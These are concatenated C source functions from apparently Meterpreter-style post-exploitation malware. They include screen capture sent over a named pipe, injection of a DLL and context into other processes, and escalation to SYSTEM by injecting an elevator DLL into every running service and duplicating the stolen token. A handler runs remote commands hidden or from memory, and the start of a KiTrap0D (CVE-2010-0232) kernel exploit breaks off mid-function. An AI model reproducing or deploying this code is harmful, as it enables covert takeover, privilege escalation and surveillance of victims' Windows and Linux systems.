BREAK_ON_ERROR( "[SCREENSHOT] screenshot. CreateCompatibleDC failed" ); // calculate the width and height sx = GetSystemMetrics( xmetric ); sy = GetSystemMetrics( ymetric ); // and create a bitmap hbmp = CreateCompatibleBitmap( hdc, sx, sy ); if( !hbmp ) BREAK_ON_ERROR( "[SCREENSHOT] screenshot. CreateCompatibleBitmap failed" ); // this bitmap is backed by the memory DC if( !SelectObject( hmemdc, hbmp ) ) BREAK_ON_ERROR( "[SCREENSHOT] screenshot. SelectObject failed" ); // BitBlt the screenshot of this sessions default input desktop on WinSta0 onto the memory DC we created if( !BitBlt( hmemdc, 0, 0, sx, sy, hdc, 0, 0, SRCCOPY ) ) BREAK_ON_ERROR( "[SCREENSHOT] screenshot. BitBlt failed" ); // finally convert the BMP we just made into a JPEG... if( bmp2jpeg( hbmp, hmemdc, quality, &pJpegBuffer, &dwJpegSize ) != 1 ) BREAK_WITH_ERROR( "[SCREENSHOT] screenshot. bmp2jpeg failed", ERROR_INVALID_HANDLE ); // we have succeded dwResult = ERROR_SUCCESS; } while( 0 ); // if we have successfully taken a screenshot we send it back via the named pipe // but if we have failed we send back a zero byte result to indicate this failure. if( dwResult == ERROR_SUCCESS ) screenshot_send( cNamedPipe, pJpegBuffer, dwJpegSize ); else screenshot_send( cNamedPipe, NULL, 0 ); if( hdc ) ReleaseDC( hDesktopWnd, hdc ); if( hmemdc ) DeleteDC( hmemdc ); if( hbmp ) DeleteObject( hbmp ); // free the jpeg images buffer if( pJpegBuffer ) free( pJpegBuffer ); // restore the origional process's window station if( hOrigWindowStation ) SetProcessWindowStation( hOrigWindowStation ); // restore the threads origional desktop if( hOrigDesktop ) SetThreadDesktop( hOrigDesktop ); // close the WinSta0 window station handle we opened if( hWindowStation ) CloseWindowStation( hWindowStation ); // close this last to avoid a handle leak... if( hInputDesktop ) CloseDesktop( hInputDesktop ); return dwResult; }
/* * A pre injection hook called before our dll has been injected into a process. */ DWORD loader_inject_pre( DWORD dwPid, HANDLE hProcess, char * cpCommandLine ) { DWORD dwResult = ERROR_SUCCESS; LPVOID lpMemory = NULL; AGENT_CTX RemoteAgentContext = {0}; int i = 0; do { if( !hProcess || !cpCommandLine ) BREAK_WITH_ERROR( "[LOADER] loader_inject_pre. !hProcess || !cpCommandLine", ERROR_INVALID_PARAMETER ); // Use User32!WaitForInputIdle to slow things down so if it's a new // process (like a new winlogon.exe) it can have a chance to initilize... // Bad things happen if we inject into an uninitilized process. WaitForInputIdle( hProcess, 10000 ); CLOSE_HANDLE( hAgentCloseEvent ); CLOSE_HANDLE( hAgentProcess ); memcpy( &RemoteAgentContext, &AgentContext, sizeof(AGENT_CTX) ); hAgentCloseEvent = CreateMutex( NULL, TRUE, NULL ); if( !hAgentCloseEvent ) BREAK_ON_ERROR( "[LOADER] loader_inject_pre. CreateEvent hAgentCloseEvent failed" ); if( !DuplicateHandle( GetCurrentProcess(), hAgentCloseEvent, hProcess, &RemoteAgentContext.hCloseEvent, 0, FALSE, DUPLICATE_SAME_ACCESS ) ) BREAK_ON_ERROR( "[LOADER] loader_inject_pre. DuplicateHandle hAgentCloseEvent failed" ) dprintf( "[LOADER] WSADuplicateSocket for sock=%d", sock ); // Duplicate the socket for the target process if( WSADuplicateSocket( sock, dwPid, &RemoteAgentContext.info ) != NO_ERROR ) BREAK_ON_WSAERROR( "[LOADER] WSADuplicateSocket failed" ) // Allocate memory for the migrate stub, context and payload lpMemory = VirtualAllocEx( hProcess, NULL, sizeof(AGENT_CTX), MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE ); if( !lpMemory ) BREAK_ON_ERROR( "[LOADER] VirtualAllocEx failed" ) /*for( i=0 ; i<4 ; i++ ) { DWORD dwSize = 0; if( !AgentContext.dictionaries[i] ) continue; dwSize = ( sizeof(DICTMSG) + AgentContext.dictionaries[i]->dwDictLength ); RemoteAgentContext.dictionaries[i] = VirtualAllocEx( hProcess, NULL, dwSize, MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE ); if( !RemoteAgentContext.dictionaries[i] ) continue; if( !WriteProcessMemory( hProcess, RemoteAgentContext.dictionaries[i], AgentContext.dictionaries[i], dwSize, NULL ) ) RemoteAgentContext.dictionaries[i] = NULL; }*/ // Write the ctx to memory... if( !WriteProcessMemory( hProcess, lpMemory, &RemoteAgentContext, sizeof(AGENT_CTX), NULL ) ) BREAK_ON_ERROR( "[MIGRATE] WriteProcessMemory 1 failed" ) hAgentProcess = hProcess; _snprintf( cpCommandLine, COMMANDLINE_LENGTH, "/v /c:0x%08X", lpMemory ); } while( 0 ); if( dwResult != ERROR_SUCCESS ) { dprintf( "[LOADER] loader_inject_pre. CLOSE_HANDLE( hAgentCloseEvent );" ); CLOSE_HANDLE( hAgentCloseEvent ); } return dwResult; }
/* * Post an arbitrary message back to a loader. */ DWORD vncdll_postmessage( AGENT_CTX * lpAgentContext, DWORD dwMessage, BYTE * pDataBuffer, DWORD dwDataLength ) { DWORD dwResult = ERROR_SUCCESS; HANDLE hPipe = NULL; BYTE * pBuffer = NULL; char cNamedPipe[MAX_PATH] = {0}; DWORD dwWritten = 0; DWORD dwLength = 0; do { if( !lpAgentContext ) BREAK_WITH_ERROR( "[VNCDLL] vncdll_postmessage. invalid parameters", ERROR_INVALID_PARAMETER ); dwLength = sizeof(DWORD) + sizeof(DWORD) + dwDataLength; pBuffer = (BYTE *)malloc( dwLength ); if( !pBuffer ) BREAK_WITH_ERROR( "[VNCDLL] vncdll_postmessage. pBuffer malloc failed", ERROR_INVALID_HANDLE ); memcpy( pBuffer, &dwMessage, sizeof(DWORD) ); memcpy( (pBuffer+sizeof(DWORD)), &dwDataLength, sizeof(DWORD) ); memcpy( (pBuffer+sizeof(DWORD)+sizeof(DWORD)), pDataBuffer, dwDataLength ); if( WaitForSingleObject( hMessageMutex, INFINITE ) != WAIT_OBJECT_0 ) BREAK_WITH_ERROR( "[VNCDLL] vncdll_postmessage. WaitForSingleObject failed", ERROR_INVALID_HANDLE ); _snprintf( cNamedPipe, MAX_PATH, "\\\\.\\pipe\\%08X", lpAgentContext->dwPipeName ); dprintf("[VNCDLL] vncdll_postmessage. pipe=%s, message=0x%08X, length=%d", cNamedPipe, dwMessage, dwDataLength); while( TRUE ) { hPipe = CreateFileA( cNamedPipe, GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL ); if( hPipe != INVALID_HANDLE_VALUE ) break; if( GetLastError() != ERROR_PIPE_BUSY ) BREAK_ON_ERROR( "[VNCDLL] vncdll_postmessage. ERROR_PIPE_BUSY" ); if( !WaitNamedPipe( cNamedPipe, 20000 ) ) BREAK_ON_ERROR( "[VNCDLL] vncdll_postmessage. WaitNamedPipe timedout" ); } if( dwResult == ERROR_SUCCESS ) { if( !WriteFile( hPipe, pBuffer, dwLength, &dwWritten, NULL ) ) BREAK_ON_ERROR( "[VNCDLL] vncdll_postmessage. WriteFile dwMessage length failed" ); } } while( 0 ); CLOSE_HANDLE( hPipe ); if( pBuffer ) free( pBuffer ); ReleaseMutex( hMessageMutex ); return dwResult; }
/* * Elevate from local admin to local system via code injection in a system service. * Does not work on NT4 (needed api's missing) Works on 2000, XP, 2003. On Vista, 2008 or 7 we cant open * service process from a non elevated admin. * * A current limitation in LoadRemoteLibraryR prevents this from working across * architectures so we just filter out running this from an x64 platform for now. */ DWORD elevate_via_service_tokendup( Remote * remote, Packet * packet ) { DWORD dwResult = ERROR_SUCCESS; HANDLE hToken = NULL; HANDLE hTokenDup = NULL; HANDLE hProcess = NULL; HANDLE hThread = NULL; HANDLE hManager = NULL; HANDLE hService = NULL; LPVOID lpServiceBuffer = NULL; LPVOID lpRemoteCommandLine = NULL; ENUM_SERVICE_STATUS * lpServices = NULL; char * cpServiceName = NULL; SERVICE_STATUS_PROCESS status = {0}; char cCommandLine[128] = {0}; OSVERSIONINFO os = {0}; DWORD dwServiceLength = 0; DWORD dwBytes = 0; DWORD index = 0; DWORD dwServicesReturned = 0; DWORD dwExitCode = 0; do { // only works on x86 systems for now... if( elevate_getnativearch() != PROCESS_ARCH_X86 ) BREAK_WITH_ERROR( "[KITRAP0D] elevate_via_service_debug. Unsuported platform", ERROR_BAD_ENVIRONMENT ); os.dwOSVersionInfoSize = sizeof( OSVERSIONINFO ); if( !GetVersionEx( &os ) ) BREAK_ON_ERROR( "[ELEVATE] elevate_via_service_debug: GetVersionEx failed" ) // filter out Windows NT4 if ( os.dwMajorVersion == 4 && os.dwMinorVersion == 0 ) BREAK_WITH_ERROR( "[ELEVATE] elevate_via_service_debug: Not yet supported on this platform.", ERROR_BAD_ENVIRONMENT ) cpServiceName = packet_get_tlv_value_string( packet, TLV_TYPE_ELEVATE_SERVICE_NAME ); dwServiceLength = packet_get_tlv_value_uint( packet, TLV_TYPE_ELEVATE_SERVICE_LENGTH ); lpServiceBuffer = packet_get_tlv_value_string( packet, TLV_TYPE_ELEVATE_SERVICE_DLL ); if( !dwServiceLength || !lpServiceBuffer ) BREAK_WITH_ERROR( "[ELEVATE] elevate_via_service_debug. invalid arguments", ERROR_BAD_ARGUMENTS ); if( !elevate_priv( SE_DEBUG_NAME, TRUE ) ) BREAK_ON_ERROR( "[ELEVATE] elevate_via_service_debug. elevate_priv SE_DEBUG_NAME failed" ); hManager = OpenSCManagerA( NULL, NULL, SC_MANAGER_ENUMERATE_SERVICE ); if( !hManager ) BREAK_ON_ERROR( "[ELEVATE] elevate_via_service_debug. OpenSCManagerA failed" ); if( !EnumServicesStatus( hManager, SERVICE_WIN32, SERVICE_ACTIVE, NULL, 0, &dwBytes, &dwServicesReturned, NULL ) ) { if( GetLastError() != ERROR_MORE_DATA ) BREAK_ON_ERROR( "[ELEVATE] elevate_via_service_debug. EnumServicesStatus 1 failed" ); } lpServices = (ENUM_SERVICE_STATUS *)malloc( dwBytes ); if( !lpServices ) BREAK_ON_ERROR( "[ELEVATE] elevate_via_service_debug. malloc lpServices failed" ); if( !EnumServicesStatus( hManager, SERVICE_WIN32, SERVICE_ACTIVE, lpServices, dwBytes, &dwBytes, &dwServicesReturned, NULL ) ) BREAK_ON_ERROR( "[ELEVATE] elevate_via_service_debug. EnumServicesStatus 2 failed" ); dwResult = ERROR_ACCESS_DENIED; // we enumerate all services, injecting our elevator.dll (via RDI), if the injected thread returns successfully // it means we have been given a system token so we duplicate it as a primary token for use by metsrv. for( index=0 ; index<dwServicesReturned ; index++ ) { do { hService = OpenServiceA( hManager, lpServices[index].lpServiceName, SERVICE_QUERY_STATUS ); if( !hService ) break; if( !QueryServiceStatusEx( hService, SC_STATUS_PROCESS_INFO, (LPBYTE)&status, sizeof(SERVICE_STATUS_PROCESS), &dwBytes ) ) break; if( status.dwCurrentState != SERVICE_RUNNING ) break; // open a handle to this service (assumes we have SeDebugPrivilege)... hProcess = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, FALSE, status.dwProcessId ); if( !hProcess ) break; dprintf( "[ELEVATE] elevate_via_service_debug. trying [%d] lpDisplayName=%s, lpServiceName=%s, dwProcessId=%d", index, lpServices[index].lpDisplayName, lpServices[index].lpServiceName, status.dwProcessId ); _snprintf( cCommandLine, sizeof(cCommandLine), "/t:0x%08X\x00", GetCurrentThreadId() ); // alloc some space and write the commandline which we will pass to the injected dll... lpRemoteCommandLine = VirtualAllocEx( hProcess, NULL, strlen(cCommandLine)+1, MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE ); if( !lpRemoteCommandLine ) break; if( !WriteProcessMemory( hProcess, lpRemoteCommandLine, cCommandLine, strlen(cCommandLine)+1, NULL ) ) break; // use RDI to inject the elevator.dll into the remote process, passing in the command line to elevator.dll hThread = LoadRemoteLibraryR( hProcess, lpServiceBuffer, dwServiceLength, lpRemoteCommandLine ); if( !hThread ) break; // we will only wait 30 seconds for the elevator.dll to do its job, if this times out we assume it failed. if( WaitForSingleObject( hThread, 30000 ) != WAIT_OBJECT_0 ) break; // get the exit code for our injected elevator.dll if( !GetExitCodeThread( hThread, &dwExitCode ) ) break; // if the exit code was successfull we have been given a local system token, so we duplicate it // as a primary token for use by metsrv if( dwExitCode == ERROR_SUCCESS ) { if( OpenThreadToken( GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &hToken ) ) { if( DuplicateToken( hToken, SecurityImpersonation, &hTokenDup ) ) { core_update_thread_token( remote, hTokenDup ); dwResult = ERROR_SUCCESS; break; } } } } while( 0 ); CLOSE_SERVICE_HANDLE( hService ); CLOSE_HANDLE( hProcess ); CLOSE_HANDLE( hThread ); CLOSE_HANDLE( hToken ); if( dwResult == ERROR_SUCCESS ) break; } } while( 0 ); CLOSE_SERVICE_HANDLE( hManager ); if( lpServices ) free( lpServices ); SetLastError( dwResult ); return dwResult; }
/* * Executes a process using the supplied parameters, optionally creating a * channel through which output is filtered. * * req: TLV_TYPE_PROCESS_PATH - The executable to launch * req: TLV_TYPE_PROCESS_ARGUMENTS - The arguments to pass * req: TLV_TYPE_FLAGS - The flags to execute with */ DWORD request_sys_process_execute(Remote *remote, Packet *packet) { Packet *response = packet_create_response(packet); DWORD result = ERROR_SUCCESS; Tlv inMemoryData; BOOL doInMemory = FALSE; #ifdef _WIN32 PROCESS_INFORMATION pi; STARTUPINFO si; HANDLE in[2], out[2]; PCHAR path, arguments, commandLine = NULL; DWORD flags = 0, createFlags = 0; BOOL inherit = FALSE; HANDLE token, pToken; char * cpDesktop = NULL; DWORD session = 0; LPVOID pEnvironment = NULL; LPFNCREATEENVIRONMENTBLOCK lpfnCreateEnvironmentBlock = NULL; LPFNDESTROYENVIRONMENTBLOCK lpfnDestroyEnvironmentBlock = NULL; HMODULE hUserEnvLib = NULL; dprintf( "[PROCESS] request_sys_process_execute" ); // Initialize the startup information memset( &pi, 0, sizeof(PROCESS_INFORMATION) ); memset( &si, 0, sizeof(STARTUPINFO) ); si.cb = sizeof(STARTUPINFO); // Initialize pipe handles in[0] = NULL; in[1] = NULL; out[0] = NULL; out[1] = NULL; do { // No response? We suck. if (!response) break; // Get the execution arguments arguments = packet_get_tlv_value_string(packet, TLV_TYPE_PROCESS_ARGUMENTS); path = packet_get_tlv_value_string(packet, TLV_TYPE_PROCESS_PATH); flags = packet_get_tlv_value_uint(packet, TLV_TYPE_PROCESS_FLAGS); if (packet_get_tlv(packet, TLV_TYPE_VALUE_DATA, &inMemoryData) == ERROR_SUCCESS) { doInMemory = TRUE; createFlags |= CREATE_SUSPENDED; } if( flags & PROCESS_EXECUTE_FLAG_DESKTOP ) { do { cpDesktop = (char *)malloc( 512 ); if( !cpDesktop ) break; memset( cpDesktop, 0, 512 ); lock_acquire( remote->lock ); _snprintf( cpDesktop, 512, "%s\\%s", remote->cpCurrentStationName, remote->cpCurrentDesktopName ); lock_release( remote->lock ); si.lpDesktop = cpDesktop; } while( 0 ); } // If the remote endpoint provided arguments, combine them with the // executable to produce a command line if (path && arguments) { DWORD commandLineLength = strlen(path) + strlen(arguments) + 2; if (!(commandLine = (PCHAR)malloc(commandLineLength))) { result = ERROR_NOT_ENOUGH_MEMORY; break; } _snprintf(commandLine, commandLineLength, "%s %s", path, arguments); } else if (path) commandLine = path; else { result = ERROR_INVALID_PARAMETER; break; } // If the channelized flag is set, create a pipe for stdin/stdout/stderr // such that input can be directed to and from the remote endpoint if (flags & PROCESS_EXECUTE_FLAG_CHANNELIZED) { SECURITY_ATTRIBUTES sa = { sizeof(SECURITY_ATTRIBUTES), NULL, TRUE }; ProcessChannelContext * ctx = NULL; PoolChannelOps chops; Channel *newChannel; // Allocate the channel context if (!(ctx = (ProcessChannelContext *)malloc(sizeof(ProcessChannelContext)))) { result = ERROR_NOT_ENOUGH_MEMORY; break; } memset(&chops, 0, sizeof(PoolChannelOps)); // Initialize the channel operations chops.native.context = ctx; chops.native.write = process_channel_write; chops.native.close = process_channel_close; chops.native.interact = process_channel_interact; chops.read = process_channel_read; // Allocate the pool channel if (!(newChannel = channel_create_pool(0, CHANNEL_FLAG_SYNCHRONOUS, &chops))) { result = ERROR_NOT_ENOUGH_MEMORY; break; } // Set the channel's type to process channel_set_type(newChannel, "process"); // Allocate the stdin and stdout pipes if ((!CreatePipe(&in[0], &in[1], &sa, 0)) || (!CreatePipe(&out[0], &out[1], &sa, 0))) { channel_destroy(newChannel, NULL); newChannel = NULL; free(ctx); result = GetLastError(); break; } // Initialize the startup info to use the pipe handles si.dwFlags |= STARTF_USESTDHANDLES; si.hStdInput = in[0]; si.hStdOutput = out[1]; si.hStdError = out[1]; inherit = TRUE; createFlags |= CREATE_NEW_CONSOLE; // Set the context to have the write side of stdin and the read side // of stdout ctx->pStdin = in[1]; ctx->pStdout = out[0]; // Add the channel identifier to the response packet packet_add_tlv_uint(response, TLV_TYPE_CHANNEL_ID,channel_get_id(newChannel)); } // If the hidden flag is set, create the process hidden if (flags & PROCESS_EXECUTE_FLAG_HIDDEN) { si.dwFlags |= STARTF_USESHOWWINDOW; si.wShowWindow = SW_HIDE; createFlags |= CREATE_NO_WINDOW; } // Should we create the process suspended? if (flags & PROCESS_EXECUTE_FLAG_SUSPENDED) createFlags |= CREATE_SUSPENDED; if (flags & PROCESS_EXECUTE_FLAG_USE_THREAD_TOKEN) { // If there is an impersonated token stored, use that one first, otherwise // try to grab the current thread token, then the process token if (remote->hThreadToken){ token = remote->hThreadToken; dprintf("[execute] using thread impersonation token"); } else if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, TRUE, &token)) OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &token); dprintf("[execute] token is 0x%.8x", token); // Duplicate to make primary token (try delegation first) if (!DuplicateTokenEx(token, TOKEN_ALL_ACCESS, NULL, SecurityDelegation, TokenPrimary, &pToken)) { if (!DuplicateTokenEx(token, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &pToken)) { result = GetLastError(); dprintf("[execute] failed to duplicate token 0x%.8x", result); break; } } hUserEnvLib = LoadLibrary("userenv.dll"); if ( NULL != hUserEnvLib ) { lpfnCreateEnvironmentBlock = (LPFNCREATEENVIRONMENTBLOCK) GetProcAddress( hUserEnvLib, "CreateEnvironmentBlock" ); lpfnDestroyEnvironmentBlock = (LPFNDESTROYENVIRONMENTBLOCK) GetProcAddress( hUserEnvLib, "DestroyEnvironmentBlock" ); if (lpfnCreateEnvironmentBlock && lpfnCreateEnvironmentBlock( &pEnvironment, pToken, FALSE)) { createFlags |= CREATE_UNICODE_ENVIRONMENT; dprintf("[execute] created a duplicated environment block"); } else { pEnvironment = NULL; } } // Try to execute the process with duplicated token if( !CreateProcessAsUser( pToken, NULL, commandLine, NULL, NULL, inherit, createFlags, pEnvironment, NULL, &si, &pi ) ) { LPCREATEPROCESSWITHTOKENW pCreateProcessWithTokenW = NULL; HANDLE hAdvapi32 = NULL; wchar_t * wcmdline = NULL; wchar_t * wdesktop = NULL; int size = 0; result = GetLastError(); // sf: If we hit an ERROR_PRIVILEGE_NOT_HELD failure we can fall back to CreateProcessWithTokenW but this is only // available on 2003/Vista/2008/7. CreateProcessAsUser() seems to be just borked on some systems IMHO. if( result == ERROR_PRIVILEGE_NOT_HELD ) { do { hAdvapi32 = LoadLibrary( "advapi32.dll" ); if( !hAdvapi32 ) break; pCreateProcessWithTokenW = (LPCREATEPROCESSWITHTOKENW)GetProcAddress( hAdvapi32, "CreateProcessWithTokenW" ); if( !pCreateProcessWithTokenW ) break; // convert the multibyte inputs to wide strings (No CreateProcessWithTokenA available unfortunatly)... size = mbstowcs( NULL, commandLine, 0 ); if( size < 0 ) break; wcmdline = (wchar_t *)malloc( (size+1) * sizeof(wchar_t) ); mbstowcs( wcmdline, commandLine, size ); if( si.lpDesktop ) { size = mbstowcs( NULL, (char *)si.lpDesktop, 0 ); if( size > 0 ) { wdesktop = (wchar_t *)malloc( (size+1) * sizeof(wchar_t) ); mbstowcs( wdesktop, (char *)si.lpDesktop, size ); si.lpDesktop = (LPSTR)wdesktop; } } if( !pCreateProcessWithTokenW( pToken, LOGON_NETCREDENTIALS_ONLY, NULL, wcmdline, createFlags, pEnvironment, NULL, (LPSTARTUPINFOW)&si, &pi ) ) { result = GetLastError(); dprintf("[execute] failed to create the new process via CreateProcessWithTokenW 0x%.8x", result); break; } result = ERROR_SUCCESS; } while( 0 ); if( hAdvapi32 ) FreeLibrary( hAdvapi32 ); if( wdesktop ) free( wdesktop ); if( wcmdline ) free( wcmdline ); } else { dprintf("[execute] failed to create the new process via CreateProcessAsUser 0x%.8x", result); break; } } if( lpfnDestroyEnvironmentBlock && pEnvironment ) lpfnDestroyEnvironmentBlock( pEnvironment ); if( NULL != hUserEnvLib ) FreeLibrary( hUserEnvLib ); } else if( flags & PROCESS_EXECUTE_FLAG_SESSION ) { typedef BOOL (WINAPI * WTSQUERYUSERTOKEN)( ULONG SessionId, PHANDLE phToken ); WTSQUERYUSERTOKEN pWTSQueryUserToken = NULL; HANDLE hToken = NULL; HMODULE hWtsapi32 = NULL; BOOL bSuccess = FALSE; DWORD dwResult = ERROR_SUCCESS; do { // Note: wtsapi32!WTSQueryUserToken is not available on NT4 or 2000 so we dynamically resolve it. hWtsapi32 = LoadLibraryA( "wtsapi32.dll" ); session = packet_get_tlv_value_uint( packet, TLV_TYPE_PROCESS_SESSION ); if( session_id( GetCurrentProcessId() ) == session || !hWtsapi32 ) { if( !CreateProcess( NULL, commandLine, NULL, NULL, inherit, createFlags, NULL, NULL, &si, &pi ) ) BREAK_ON_ERROR( "[PROCESS] execute in self session: CreateProcess failed" ); } else { pWTSQueryUserToken = (WTSQUERYUSERTOKEN)GetProcAddress( hWtsapi32, "WTSQueryUserToken" ); if( !pWTSQueryUserToken ) BREAK_ON_ERROR( "[PROCESS] execute in session: GetProcAdress WTSQueryUserToken failed" ); if( !pWTSQueryUserToken( session, &hToken ) ) BREAK_ON_ERROR( "[PROCESS] execute in session: WTSQueryUserToken failed" ); if( !CreateProcessAsUser( hToken, NULL, commandLine, NULL, NULL, inherit, createFlags, NULL, NULL, &si, &pi ) ) BREAK_ON_ERROR( "[PROCESS] execute in session: CreateProcessAsUser failed" ); } } while( 0 ); if( hWtsapi32 ) FreeLibrary( hWtsapi32 ); if( hToken ) CloseHandle( hToken ); result = dwResult; if( result != ERROR_SUCCESS ) break; } else { // Try to execute the process if (!CreateProcess(NULL, commandLine, NULL, NULL, inherit, createFlags, NULL, NULL, &si, &pi)) { result = GetLastError(); break; } } // // Do up the in memory exe execution if the user requested it // if (doInMemory) { // // Unmap the dummy executable and map in the new executable into the // target process // if (!MapNewExecutableRegionInProcess( pi.hProcess, pi.hThread, inMemoryData.buffer)) { result = GetLastError(); break; } // // Resume the thread and let it rock... // if (ResumeThread(pi.hThread) == (DWORD)-1) { result = GetLastError(); break; } } // check for failure here otherwise we can get a case where we // failed but return a process id and this will throw off the ruby side. if( result == ERROR_SUCCESS ) { // Add the process identifier to the response packet packet_add_tlv_uint(response, TLV_TYPE_PID, pi.dwProcessId); packet_add_tlv_uint(response, TLV_TYPE_PROCESS_HANDLE,(DWORD)pi.hProcess); CloseHandle(pi.hThread); } } while (0); // Close the read side of stdin and the write side of stdout if (in[0]) CloseHandle(in[0]); if (out[1]) CloseHandle(out[1]); // Free the command line if necessary if (path && arguments && commandLine) free(commandLine); if( cpDesktop ) free( cpDesktop ); #else PCHAR path, arguments;; DWORD flags; char *argv[8], *command_line; int cl_len = 0; int in[2] = { -1, -1 }, out[2] = {-1, -1}; // file descriptors int master = -1, slave = -1; int devnull = -1; int idx, i; pid_t pid; int have_pty = -1; int hidden = (flags & PROCESS_EXECUTE_FLAG_HIDDEN); dprintf( "[PROCESS] request_sys_process_execute" ); do { // Get the execution arguments arguments = packet_get_tlv_value_string(packet, TLV_TYPE_PROCESS_ARGUMENTS); path = packet_get_tlv_value_string(packet, TLV_TYPE_PROCESS_PATH); flags = packet_get_tlv_value_uint(packet, TLV_TYPE_PROCESS_FLAGS); dprintf("path: %s, arguments: %s\n", path ? path : "(null)", arguments ? arguments : "(null)"); if (packet_get_tlv(packet, TLV_TYPE_VALUE_DATA, &inMemoryData) == ERROR_SUCCESS) { doInMemory = TRUE; } // how to handle a single string argument line? we don't have a lexer/parser to // correctly handle stuff like quotes, etc. could dumbly parse on white space to // build arguments for execve. revert to /bin/sh -c style execution? // XXX.. don't feel like messing with it atm idx = 0; if(arguments) { // Add one for the null, one for the space cl_len = strlen(path) + strlen(arguments) + 2; command_line = malloc(cl_len); memset(command_line, 0, cl_len); strcat(command_line, path); strcat(command_line, " "); strcat(command_line, arguments); argv[idx++] = "sh"; argv[idx++] = "-c"; argv[idx++] = command_line; path = "/bin/sh"; } else { argv[idx++] = path; } argv[idx++] = NULL; //for (i = 0; i < idx; i++) { // dprintf(" argv[%d] = %s", i, argv[i]); //} // If the channelized flag is set, create a pipe for stdin/stdout/stderr // such that input can be directed to and from the remote endpoint if (flags & PROCESS_EXECUTE_FLAG_CHANNELIZED) { ProcessChannelContext * ctx = NULL; PoolChannelOps chops; Channel *newChannel; // Allocate the channel context if (!(ctx = (ProcessChannelContext *)malloc(sizeof(ProcessChannelContext)))) { result = ERROR_NOT_ENOUGH_MEMORY; break; } memset(&chops, 0, sizeof(PoolChannelOps)); // Initialize the channel operations chops.native.context = ctx; chops.native.write = process_channel_write; chops.native.close = process_channel_close; chops.native.interact = process_channel_interact; chops.read = process_channel_read; // Allocate the pool channel if (!(newChannel = channel_create_pool(0, CHANNEL_FLAG_SYNCHRONOUS, &chops))) { result = ERROR_NOT_ENOUGH_MEMORY; break; } // Set the channel's type to process channel_set_type(newChannel, "process"); have_pty = !try_open_pty(&master, &slave); if(have_pty) { ctx->pStdin = master; ctx->pStdout = master; } else { // fall back to pipes if there is no tty // Allocate the stdin and stdout pipes if(pipe(&in) || pipe(&out)) { channel_destroy(newChannel, NULL); newChannel = NULL; free(ctx); result = GetLastError(); break; } // Set the context to have the write side of stdin and the read side // of stdout ctx->pStdin = in[1]; ctx->pStdout = out[0]; } fcntl(ctx->pStdin, F_SETFD, fcntl(ctx->pStdin, F_GETFD) | O_NONBLOCK); fcntl(ctx->pStdout, F_SETFD, fcntl(ctx->pStdout, F_GETFD) | O_NONBLOCK); // Add the channel identifier to the response packet packet_add_tlv_uint(response, TLV_TYPE_CHANNEL_ID,channel_get_id(newChannel)); } else { // need to /dev/null it all if( (devnull = open("/dev/null", O_RDONLY) ) == -1) { // XXX This is possible, due to chroots etc. We could close // fd 0/1/2 and hope the program isn't buggy. result = GetLastError(); break; } } /* * We can create "hidden" processes via clone() instead of fork() * clone(child_stack, flags = CLONE_THREAD) should do the trick. Probably worth while as well. * memory / fd's etc won't be shared. linux specific syscall though. */ pid = fork(); switch(pid) { case -1: result = errno; break; case 0: if (flags & PROCESS_EXECUTE_FLAG_CHANNELIZED) { if(have_pty) { dup2(slave, 0); dup2(slave, 1); dup2(slave, 2); } else { dup2(in[0], 0); dup2(out[1], 1); dup2(out[1], 2); } } else { dup2(devnull, 0); dup2(devnull, 1); dup2(devnull, 2); } for(i = 3; i < 1024; i++) close(i); if(doInMemory) { int found; Elf32_Ehdr *ehdr = (Elf32_Ehdr *)inMemoryData.buffer; Elf32_Phdr *phdr = (Elf32_Phdr *)(inMemoryData.buffer + ehdr->e_phoff); for(found = 0, i = 0; i < ehdr->e_phnum; i++, phdr++) { if(phdr->p_type == PT_LOAD) { found = 1; break; } } if(! found) return; // XXX, not too much we can do in this case ? perform_in_mem_exe(argv, environ, inMemoryData.buffer, inMemoryData.header.length, phdr->p_vaddr & ~4095, ehdr->e_entry); } else { execve(path, argv, environ); } dprintf("failed to execute program, exit(EXIT_FAILURE) time"); dprintf("doInMemory = %d, hidden = %d", doInMemory, hidden); exit(EXIT_FAILURE); default: dprintf("child pid is %d\n", pid); packet_add_tlv_uint(response, TLV_TYPE_PID, (DWORD)pid); packet_add_tlv_uint(response, TLV_TYPE_PROCESS_HANDLE, (DWORD)pid); if (flags & PROCESS_EXECUTE_FLAG_CHANNELIZED) { if(have_pty) { dprintf("child channelized\n"); close(slave); } else { close(in[0]); close(out[1]); close(out[2]); } } break; } } while(0); #endif packet_transmit_response(result, remote, response); return ERROR_SUCCESS; }
/* * (CVE-2010-0232) */ VOID elevator_kitrap0d( DWORD dwProcessId, DWORD dwKernelBase, DWORD dwOffset ) { DWORD dwResult = ERROR_SUCCESS; FARPROC pNtVdmControl = NULL; HMODULE hNtdll = NULL; DWORD dwKernelStack[KSTACKSIZE] = {0}; VDMTIB VdmTib = {0}; DWORD dwMinimumExpectedVdmTibSize = 0x200; DWORD dwMaximumExpectedVdmTibSize = 0x800; do { dprintf( "[ELEVATOR-KITRAP0D] elevator_kitrap0d. dwProcessId=%d, dwKernelBase=0x%08X, dwOffset=0x%08X", dwProcessId, dwKernelBase, dwOffset ); memset( &VdmTib, 0, sizeof( VDMTIB ) ); memset( &dwKernelStack, 0, KSTACKSIZE * sizeof( DWORD ) ); // XXX: Windows 2000 forces the thread to exit with 0x80 if Padding3 is filled with junk. // With a buffer full of NULLs, the exploit never finds the right size. // This will require a more work to resolve, for just keep the padding zero'd hNtdll = GetModuleHandle( "ntdll" ); if( !hNtdll ) BREAK_WITH_ERROR( "[ELEVATOR-KITRAP0D] elevator_kitrap0d. GetModuleHandle ntdll failed", ERROR_INVALID_PARAMETER ); pNtVdmControl = GetProcAddress( hNtdll, "NtVdmControl" ); if( !pNtVdmControl ) BREAK_ON_ERROR( "[ELEVATOR-KITRAP0D] elevator_kitrap0d. GetProcAddress NtVdmControl failed" ); dwTargetProcessId = dwProcessId; // Setup the fake kernel stack, and install a minimal VDM_TIB... lpKernelStackPointer = (DWORD *)&dwKernelStack; 